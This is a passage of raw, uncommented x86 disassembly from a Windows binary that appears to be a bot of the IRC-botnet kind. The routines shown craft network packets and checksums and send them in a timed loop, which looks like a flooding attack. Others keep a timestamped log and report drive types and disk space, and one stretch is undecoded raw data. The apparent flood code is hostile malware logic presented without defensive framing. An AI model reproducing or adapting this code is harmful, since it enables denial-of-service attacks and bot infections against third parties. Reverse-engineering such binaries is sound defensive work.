mov ds:dword_4E30FC, edi
mov ds:word_4E30FA, ax
mov [ebp+var_4], ebx
jmp short loc_415F8A
; ---------------------------------------------------------------------------
loc_415F85: ; CODE XREF: sub_415C17+445j
mov esi, 0FFFFh
loc_415F8A: ; CODE XREF: sub_415C17+36Cj
cmp [ebp+var_4], ebx
jnz short loc_415FBE
push esi
push ebx
call sub_41801E
pop ecx
pop ecx
push eax
call ds:dword_4514F4
mov ds:word_4E30E4, ax
mov eax, ds:dword_4E30DC
mov ds:dword_4E3108, eax
mov ds:byte_4E30F1, 2
mov ds:dword_4E30EC, ebx
jmp short loc_415FDD
; ---------------------------------------------------------------------------
loc_415FBE: ; CODE XREF: sub_415C17+376j
push esi
push ebx
mov ds:byte_4E30F1, 10h
call sub_41801E
pop ecx
pop ecx
push eax
call ds:dword_4514F4
movzx eax, ax
mov ds:dword_4E30EC, eax
loc_415FDD: ; CODE XREF: sub_415C17+3A5j
inc ds:word_4E30D4
inc ds:dword_4E30E8
mov ax, ds:word_4E30E6
push 5
pop ecx
mov esi, offset word_4E30E4
mov edi, offset dword_4E3114
mov ds:word_4E30DA, bx
mov ds:word_4E30F4, bx
push 14h
rep movsd
mov esi, offset byte_4E30D0
mov ds:word_4E30FA, ax
push esi
call sub_402670
push 20h
push offset dword_4E3108
mov ds:word_4E30DA, ax
call sub_402670
add esp, 10h
mov ds:word_4E30F4, ax
push 10h
push offset word_4E30F8
push ebx
push 28h
push esi
push ds:dword_4E3130
call ds:dword_451554
inc [ebp+var_4]
cmp [ebp+var_4], 3FFh
jl loc_415F85
call ds:dword_4F1340 ; GetTickCount
sub eax, [ebp+var_C]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_4]
ja short loc_416087
push [ebp+arg_8]
call ds:dword_4F12F4 ; Sleep
jmp loc_415E58
; ---------------------------------------------------------------------------
loc_416087: ; CODE XREF: sub_415C17+460j
pop edi
pop esi
mov eax, offset dword_4E3134
pop ebx
leave
retn
sub_415C17 endp
; =============== S U B R O U T I N E =======================================
sub_416091 proc near ; CODE XREF: sub_415C17+2AAp
arg_0 = dword ptr 4
push 0FFFEh
push 1
call sub_41801E
pop ecx
pop ecx
mov ecx, [esp+arg_0]
shl eax, 10h
and ecx, 0FFFFh
or eax, ecx
retn
sub_416091 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4160AF proc near ; CODE XREF: seg000:00406E0Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_451638
mov edi, 0B8h
loc_4160C3: ; CODE XREF: sub_4160AF+33j
cmp byte ptr [esi], 0
jz short loc_4160E6
push [ebp+arg_0]
push esi
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz short loc_4160E6
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_4521B8
jl short loc_4160C3
jmp short loc_416128
; ---------------------------------------------------------------------------
loc_4160E6: ; CODE XREF: sub_4160AF+17j
; sub_4160AF+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_451638[esi]
push ebx
call sub_41D100
push 17h
push [ebp+arg_0]
push ebx
call sub_41D800
push 9Fh
lea eax, dword_451650[esi]
push [ebp+arg_4]
push eax
call sub_41D800
add esp, 24h
inc ds:dword_43D060
pop ebx
loc_416128: ; CODE XREF: sub_4160AF+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_4160AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41612F proc near ; CODE XREF: seg000:00407FD9p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_44C560
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40145D
add esp, 14h
xor edi, edi
mov esi, offset dword_451638
loc_416159: ; CODE XREF: sub_41612F+72j
cmp byte ptr [esi], 0
jz short loc_416194
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_44C58C
lea eax, [ebp+var_200]
push 200h
push eax
call sub_41D360
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40145D
add esp, 2Ch
loc_416194: ; CODE XREF: sub_41612F+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_4521B8
jl short loc_416159
pop edi
pop esi
leave
retn
sub_41612F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4161A7 proc near ; CODE XREF: sub_40216A+2ECp
; sub_402533+B0p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call ds:dword_4F13C8 ; GetLocalTime
mov ebx, offset dword_4E7538
mov edi, 80h
mov esi, offset dword_4E3538
loc_4161C9: ; CODE XREF: sub_4161A7+3Dj
cmp byte ptr [ebx], 0
jz short loc_4161E0
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_41D800
add esp, 0Ch
loc_4161E0: ; CODE XREF: sub_4161A7+25j
sub ebx, edi
cmp ebx, esi
jge short loc_4161C9
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_41D360
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_4161A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41621B proc near ; CODE XREF: sub_402D46+F7p
; seg000:loc_406B8Fp ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_41D160
lea eax, [ebp+var_80]
push eax
call sub_4161A7
add esp, 14h
leave
retn
sub_41621B endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp [ebp+14h], ebx
push esi
mov dword ptr [ebp-8], 80h
mov [ebp-4], ebx
jnz short loc_416276
push ebx
push dword ptr [ebp+10h]
push offset dword_44C5C4
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40145D
add esp, 14h
loc_416276: ; CODE XREF: seg000:0041625Dj
cmp [ebp+18h], ebx
jz short loc_41628E
push dword ptr [ebp+18h]
call sub_41D560
cmp eax, ebx
pop ecx
mov [ebp-4], eax
jz short loc_41628E
mov [ebp-8], eax
loc_41628E: ; CODE XREF: seg000:00416279j
; seg000:00416289j
mov [ebp+14h], ebx
mov esi, offset dword_4E3538
loc_416296: ; CODE XREF: seg000:004162DEj
mov eax, [ebp+14h]
cmp eax, [ebp-8]
jge short loc_4162E0
cmp [esi], bl
jz short loc_4162CF
cmp [ebp+18h], ebx
jz short loc_4162BB
cmp [ebp-4], ebx
jnz short loc_4162BB
push dword ptr [ebp+18h]
push esi
call sub_41786F
pop ecx
test eax, eax
pop ecx
jz short loc_4162CF
loc_4162BB: ; CODE XREF: seg000:004162A5j
; seg000:004162AAj
push 1
push dword ptr [ebp+10h]
push esi
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40145D
add esp, 14h
loc_4162CF: ; CODE XREF: seg000:004162A0j
; seg000:004162B9j
inc dword ptr [ebp+14h]
add esi, 80h
cmp esi, offset dword_4E7538
jl short loc_416296
loc_4162E0: ; CODE XREF: seg000:0041629Cj
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_4162E4 proc near ; CODE XREF: seg000:00407ED0p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_4E3538
xor ecx, ecx
loc_4162EB: ; CODE XREF: sub_4162E4+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_4E7538
jl short loc_4162EB
cmp [esp+arg_C], ecx
jnz short loc_416319
push ecx
push [esp+4+arg_8]
push offset dword_44C5E8
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_40145D
add esp, 14h
loc_416319: ; CODE XREF: sub_4162E4+19j
push offset dword_44C618
call sub_4161A7
pop ecx
retn
sub_4162E4 endp
; ---------------------------------------------------------------------------
push esi
mov esi, offset dword_4E3538
loc_41632B: ; CODE XREF: seg000:0041634Cj
cmp byte ptr [esi], 0
jz short loc_416340
push dword ptr [esp+8]
push esi
call sub_41786F
pop ecx
test eax, eax
pop ecx
jnz short loc_416352
loc_416340: ; CODE XREF: seg000:0041632Ej
add esi, 80h
cmp esi, offset dword_4E7538
jl short loc_41632B
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_416352: ; CODE XREF: seg000:0041633Ej
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
byte_416357 db 55h ; DATA XREF: seg000:00407F83o
; ---------------------------------------------------------------------------
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+8]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp-11Ch]
push 1
rep movsd
xor edx, edx
pop edi
cmp [ebp-10h], edx
mov dword ptr [ebp-8], 80h
mov [ebp-4], edx
mov [eax+110h], edi
jnz short loc_4163AA
push edx
lea eax, [ebp-118h]
push dword ptr [ebp-14h]
push offset dword_44C648
push eax
push dword ptr [ebp-11Ch]
call sub_40145D
add esp, 14h
loc_4163AA: ; CODE XREF: seg000:0041638Aj
cmp byte ptr [ebp-98h], 0
jz short loc_4163CA
lea eax, [ebp-98h]
push eax
call sub_41D560
test eax, eax
pop ecx
mov [ebp-4], eax
jz short loc_4163CA
mov [ebp-8], eax
loc_4163CA: ; CODE XREF: seg000:004163B1j
; seg000:004163C5j
and dword ptr [ebp+8], 0
mov esi, offset dword_4E3538
loc_4163D3: ; CODE XREF: seg000:0041642Bj
mov eax, [ebp+8]
cmp eax, [ebp-8]
jge short loc_41642D
cmp byte ptr [esi], 0
jz short loc_41641C
cmp byte ptr [ebp-98h], 0
jz short loc_416402
cmp dword ptr [ebp-4], 0
jnz short loc_416402
lea eax, [ebp-98h]
push eax
push esi
call sub_41786F
pop ecx
test eax, eax
pop ecx
jz short loc_41641C
loc_416402: ; CODE XREF: seg000:004163E7j
; seg000:004163EDj
push edi
lea eax, [ebp-118h]
push dword ptr [ebp-14h]
push esi
push eax
push dword ptr [ebp-11Ch]
call sub_40145D
add esp, 14h
loc_41641C: ; CODE XREF: seg000:004163DEj
; seg000:00416400j
inc dword ptr [ebp+8]
add esi, 80h
cmp esi, offset dword_4E7538
jl short loc_4163D3
loc_41642D: ; CODE XREF: seg000:004163D9j
lea eax, [ebp-31Ch]
push offset dword_44C680
push eax
call sub_41D260
xor esi, esi
pop ecx
cmp [ebp-10h], esi
pop ecx
jnz short loc_416467
push esi
lea eax, [ebp-31Ch]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-118h]
push eax
push dword ptr [ebp-11Ch]
call sub_40145D
add esp, 14h
loc_416467: ; CODE XREF: seg000:00416445j
lea eax, [ebp-31Ch]
push eax
call sub_4161A7
push dword ptr [ebp-18h]
call sub_40905B
pop ecx
pop ecx
push esi
; ---------------------------------------------------------------------------
dw 7DE8h
dd 0BFFFB9Bh
db 5Fh, 5Eh
word_416486 dw 8B55h ; DATA XREF: seg000:00406219o
; seg000:0040688Do
dd 10EC81ECh, 8B000005h, 56530845h, 0AAB957h, 0F08B0000h
dd 0FD34BD8Dh, 16AFFFFh, 335FA5F3h, 0B88956F6h, 2A4h, 858D5656h
dd 0FFFFFDB8h, 35FF5056h, 4514A4h, 13FC15FFh, 0C63B0045h
dd 0FE84589h, 44184h, 6A565600h, 8D565602h, 0FFFEB885h
dd 68FFh, 0FF504000h, 4F138015h, 89C73B00h, 5D73E045h
dd 0FEB8858Dh, 8D50FFFFh, 0FFFAF085h, 0C6B868FFh, 0E8500044h
dd 6D58h, 390CC483h, 2075D075h, 0F0858D56h, 0FFFFFFFAh
dd 8D50D475h, 0FFFD3885h, 0B5FF50FFh, 0FFFFFD34h, 0FEAF30E8h
dd 14C483FFh, 0FAF0858Dh, 0E850FFFFh, 0FFFFFC6Bh, 0E8B875FFh
dd 0FFFF2B17h, 0E8565959h, 0FFFB9AB4h, 0FFFF33DFh, 4F134015h
dd 0D000BB00h, 45890007h, 0DDE853FCh, 59000048h, 68E44589h
dd 200h, 0FAF0858Dh, 5056FFFFh, 6B87E8h, 0CC48300h, 5008458Dh
dd 0FAF0858Dh, 68FFFFh, 50000002h, 0FFE875FFh, 45140415h
dd 0CC753900h, 75FF1174h, 0F0858D08h, 50FFFFFAh, 3CFE8h
dd 8D595900h, 5056DC45h, 0FAF0858Dh, 75FFFFFFh, 75FF5008h
dd 9A3EE8E0h, 3BCAFFFBh, 8B2273FBh, 3BC72BC3h, 3760845h
dd 5008458Bh, 0FAF0858Dh, 8B50FFFFh, 0C703E445h, 825AE850h
dd 0C4830000h, 87D030Ch, 74C47539h, 0C47D3B05h, 7D834A77h
dd 0C78B01BCh, 0E8C11274h, 858D500Ah, 0FFFFFDB8h, 0C7086850h
dd 10EB0044h, 500AE8C1h, 0FDB8858Dh, 6850FFFFh, 44C754h
dd 69B8458Bh, 234C0h, 21B80500h, 0E8500045h, 6C2Ch, 3910C483h
dd 870F0875h, 0FFFFFF27h, 0C7C47539h, 1EC45h, 49740000h
dd 74C47D3Bh, 0C475FF44h, 0FAF0858Dh, 7589FFFFh, 0A06857ECh
dd 500044C7h, 6BF7E8h, 858D5600h, 0FFFFFAF0h, 50D475FFh
dd 0FD38858Dh, 0FF50FFFFh, 0FFFD34B5h, 0ADD7E8FFh, 858DFFFEh
dd 0FFFFFAF0h, 0FB15E850h, 0C483FFFFh, 4015FF28h, 2B004F13h
dd 0D233FC45h, 3E8B9h, 0E075FF00h, 0D233F1F7h, 0C78BC88Bh
dd 8BF1F741h, 0FC15FFD8h, 0FF004F12h, 0EDE8E475h, 39000051h
dd 7459C875h, 0B8858D56h, 50FFFFFEh, 0FEA9EEE8h, 0C8453BFFh
dd 0FF447459h, 7589C875h, 858D50ECh, 0FFFFFAF0h, 44C7F068h
dd 6DE85000h, 5600006Bh, 0FAF0858Dh, 75FFFFFFh, 858D50D4h
dd 0FFFFFD38h, 34B5FF50h, 0E8FFFFFDh, 0FFFEAD4Dh, 0FAF0858Dh
dd 0E850FFFFh, 0FFFFFA8Bh, 3928C483h, 840FEC75h, 237h
dd 1BC7D83h, 0E8840Fh, 5D890000h, 0FC7589F8h, 51F86DDFh
dd 0F87D8951h, 0DCFC7589h, 4394780Dh, 0B8858D00h, 0DDFFFFFEh
dd 6DDF241Ch, 515150F8h, 0FAF0858Dh, 0DDCFFFFh, 439478h
dd 68241CDDh, 44C83Ch, 6AEEE850h, 0C4830000h, 0D075391Ch
dd 8D562075h, 0FFFAF085h, 0D475FFFFh, 38858D50h, 50FFFFFDh
dd 0FD34B5FFh, 0C6E8FFFFh, 83FFFEACh, 858D14C4h, 0FFFFFAF0h
dd 0FA01E850h, 7D83FFFFh, 0F5901C0h, 1AE85h, 56056A00h
dd 0FEB8858Dh, 5056FFFFh, 44C8A068h, 15FF5600h, 451460h
dd 0FD07539h, 18E85h, 0B8858D00h, 50FFFFFEh, 0FAF0858Dh
dd 0A868FFFFh, 500044C8h, 6A77E8h, 858D5600h, 0FFFFFAF0h
dd 50D475FFh, 0FD38858Dh, 0FF50FFFFh, 0FFFD34B5h, 0AC57E8FFh
dd 858DFFFEh, 0FFFFFAF0h, 0F995E850h, 0C483FFFFh, 145E924h
dd 5D890000h, 0FC7589F8h, 51F86DDFh, 0F87D8951h, 0DCFC7589h
dd 4394780Dh, 0B8858D00h, 0DDFFFFFEh, 6DDF241Ch, 515150F8h
dd 0FAF0858Dh, 0DDCFFFFh, 439478h, 68241CDDh, 44C8E8h
dd 6A06E850h, 0C4830000h, 0D075391Ch, 8D562075h, 0FFFAF085h
dd 0D475FFFFh, 38858D50h, 50FFFFFDh, 0FD34B5FFh, 0DEE8FFFFh
dd 83FFFEABh, 858D14C4h, 0FFFFFAF0h, 0F919E850h, 106AFFFFh
dd 56F0458Dh, 6866E850h, 446A0000h, 0FCF0858Dh, 575FFFFFh
dd 55E85056h, 83000068h, 0BD891CC4h, 0FFFFFCF0h, 0C7F0458Dh
dd 0FFFCFC85h, 4E7540FFh, 66016A00h, 0FD20B589h, 505FFFFFh
dd 0FCF0858Dh, 5650FFFFh, 56286A56h, 0B8858D56h, 56FFFFFEh
dd 0BD895650h, 0FFFFFD1Ch, 0FB9713E8h, 0C73B60FFh, 15FF1275h
dd 45144Ch, 12C6E8h, 15FF5600h, 4F12F8h, 0FEB8858Dh, 6850FFFFh
dd 44C964h, 858D0CEBh, 0FFFFFDB8h, 0C9C86850h, 858D0044h
dd 0FFFFFAF0h, 6936E850h, 0C4830000h, 0D075390Ch, 8D562075h
dd 0FFFAF085h, 0D475FFFFh, 38858D50h, 50FFFFFDh, 0FD34B5FFh
dd 0EE8FFFFh, 83FFFEABh, 858D14C4h, 0FFFFFAF0h, 0F849E850h
dd 0FF59FFFFh, 15FFE875h, 451524h, 0E8B875FFh, 0FFFF26EBh
dd 89E85659h, 0BDFFFB96h, 424448Bh, 4C39C933h, 107E0824h
dd 0CC74158Ah, 14300043h, 4C3B4101h, 0F07C0824h
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_416995 proc near ; CODE XREF: seg000:0040545Ep
; seg000:004055BDp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_420150
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_416995 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4169AF proc near ; CODE XREF: seg000:00411108p
; seg000:004112A4p ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_4E7544
push 0
push edi
call sub_41D100
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_4169D4: ; CODE XREF: sub_4169AF+5Bj
; sub_4169AF+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_420430
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_4203C0
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_416A12
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_4169D4
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_4169D4
; ---------------------------------------------------------------------------
loc_416A12: ; CODE XREF: sub_4169AF+4Bj
dec esi
mov eax, edi
loc_416A15: ; CODE XREF: sub_4169AF+73j
lea ecx, [ebp+var_38]
cmp esi, ecx
jb short loc_416A24
mov cl, [esi]
mov [eax], cl
inc eax
dec esi
jmp short loc_416A15
; ---------------------------------------------------------------------------
loc_416A24: ; CODE XREF: sub_4169AF+6Bj
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_4169AF endp
; =============== S U B R O U T I N E =======================================
sub_416A2E proc near ; CODE XREF: sub_416BE3+51p
; sub_416BE3+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call ds:dword_451550
sub eax, 0
jz short loc_416A71
dec eax
jz short loc_416A6B
dec eax
dec eax
jz short loc_416A65
dec eax
jz short loc_416A5F
dec eax
jz short loc_416A59
dec eax
jz short loc_416A53
mov eax, offset dword_44CA4C
retn
; ---------------------------------------------------------------------------
loc_416A53: ; CODE XREF: sub_416A2E+1Dj
mov eax, offset off_44CA48
retn
; ---------------------------------------------------------------------------
loc_416A59: ; CODE XREF: sub_416A2E+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_416A5F: ; CODE XREF: sub_416A2E+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_416A65: ; CODE XREF: sub_416A2E+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_416A6B: ; CODE XREF: sub_416A2E+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_416A71: ; CODE XREF: sub_416A2E+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_416A2E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416A77 proc near ; CODE XREF: sub_416ABF+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, ds:dword_4513E8
test eax, eax
jz short loc_416AAC
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax ; dword_4513E8
loc_416AAC: ; CODE XREF: sub_416A77+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_416A77 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416ABF proc near ; CODE XREF: sub_416BE3+17p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_416A77
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_416B99
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_416B99
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_416B99
mov edi, 400h
push 0
push edi
push [ebp+var_14]
push [ebp+var_18]
call sub_4204B0
push edx
push eax
call sub_4169AF
push eax
mov esi, 80h
push offset aSkb ; "%sKB"
lea eax, [ebp+var_198]
push esi
push eax
call sub_41D360
add esp, 18h
push 0
push edi
push [ebp+var_C]
push [ebp+var_10]
call sub_4204B0
push edx
push eax
call sub_4169AF
push eax
push offset aSkb_0 ; "%sKB"
lea eax, [ebp+var_118]
push esi
push eax
call sub_41D360
add esp, 18h
push 0
push edi
push [ebp+var_4]
push [ebp+var_8]
call sub_4204B0
push edx
push eax
call sub_4169AF
push eax
push offset aSkb_1 ; "%sKB"
lea eax, [ebp+var_98]
push esi
push eax
call sub_41D360
jmp short loc_416BCC
; ---------------------------------------------------------------------------
loc_416B99: ; CODE XREF: sub_416ABF+2Cj
; sub_416ABF+3Bj ...
lea eax, [ebp+var_198]
push offset aFailed ; "failed"
push eax
call sub_41D260
lea eax, [ebp+var_118]
push offset aFailed_0 ; "failed"
push eax
call sub_41D260
lea eax, [ebp+var_98]
push offset aFailed_1 ; "failed"
push eax
call sub_41D260
loc_416BCC: ; CODE XREF: sub_416ABF+D8j
mov eax, [ebp+arg_0]
add esp, 18h
lea esi, [ebp+var_198]
mov edi, eax
push 60h
pop ecx
rep movsd
pop edi
pop esi
leave
retn
sub_416ABF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416BE3 proc near ; CODE XREF: sub_416CB5+17p
; sub_416CB5+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_416ABF
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed_2 ; "failed"
rep movsd
push eax
call sub_41D900
add esp, 10h
test eax, eax
jnz short loc_416C56
push ebx
push ebx
call sub_416A2E
pop ecx
push eax
push offset dword_44CA88
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41D360
add esp, 14h
jmp short loc_416C8A
; ---------------------------------------------------------------------------
loc_416C56: ; CODE XREF: sub_416BE3+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_416A2E
pop ecx
push eax
push offset dword_44CAF0
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41D360
add esp, 20h
loc_416C8A: ; CODE XREF: sub_416BE3+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40145D
lea eax, [ebp+var_500]
push eax
call sub_4161A7
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_416BE3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416CB5 proc near ; CODE XREF: seg000:00407C74p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_416CD6
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416BE3
add esp, 10h
jmp short loc_416D37
; ---------------------------------------------------------------------------
loc_416CD6: ; CODE XREF: sub_416CB5+9j
push esi
push edi
push ebx
push ebx
call ds:dword_45145C
lea esi, [eax+2]
push esi
call sub_41AE40
pop ecx
mov edi, eax
push edi
push esi
call ds:dword_45145C
cmp [edi], bl
mov esi, edi
jz short loc_416D2E
loc_416CFA: ; CODE XREF: sub_416CB5+77j
push offset dword_44CB5C
push esi
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz short loc_416D1D
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416BE3
add esp, 10h
loc_416D1D: ; CODE XREF: sub_416CB5+54j
push esi
call sub_41AC70
cmp [esi+eax+1], bl
lea esi, [esi+eax+1]
pop ecx
jnz short loc_416CFA
loc_416D2E: ; CODE XREF: sub_416CB5+43j
push edi
call sub_41B8B0
pop ecx
pop edi
pop esi
loc_416D37: ; CODE XREF: sub_416CB5+1Fj
pop ebx
pop ebp
retn
sub_416CB5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416D3A proc near ; CODE XREF: sub_416F00+2Fp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call ds:dword_451570
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_416DB6
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41D100
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call ds:dword_4514F4
push [ebp+arg_0]
mov [ebp+var_E], ax
call ds:dword_451530
cmp eax, esi
jnz short loc_416D9B
push [ebp+arg_0]
call ds:dword_451574
test eax, eax
jz short loc_416DB6
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_416D9B: ; CODE XREF: sub_416D3A+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call ds:dword_45149C
cmp eax, esi
jnz short loc_416DBA
push edi
call ds:dword_451588
loc_416DB6: ; CODE XREF: sub_416D3A+1Bj
; sub_416D3A+58j
mov eax, esi
jmp short loc_416DBC
; ---------------------------------------------------------------------------
loc_416DBA: ; CODE XREF: sub_416D3A+73j
mov eax, edi
loc_416DBC: ; CODE XREF: sub_416D3A+7Ej
pop edi
pop esi
leave
retn
sub_416D3A endp
; ---------------------------------------------------------------------------
push esi
push edi
mov edi, [esp+0Ch]
push offset asc_44D7DC ; "\n"
push edi
call sub_41E560
pop ecx
mov esi, offset dword_4E7584
pop ecx
loc_416DD8: ; CODE XREF: seg000:00416E02j
cmp dword ptr [esi-4], 1
jnz short loc_416DF6
cmp dword ptr [esi], 0
jbe short loc_416DF6
push 0
push edi
call sub_41AC70
pop ecx
push eax
push edi
push dword ptr [esi]
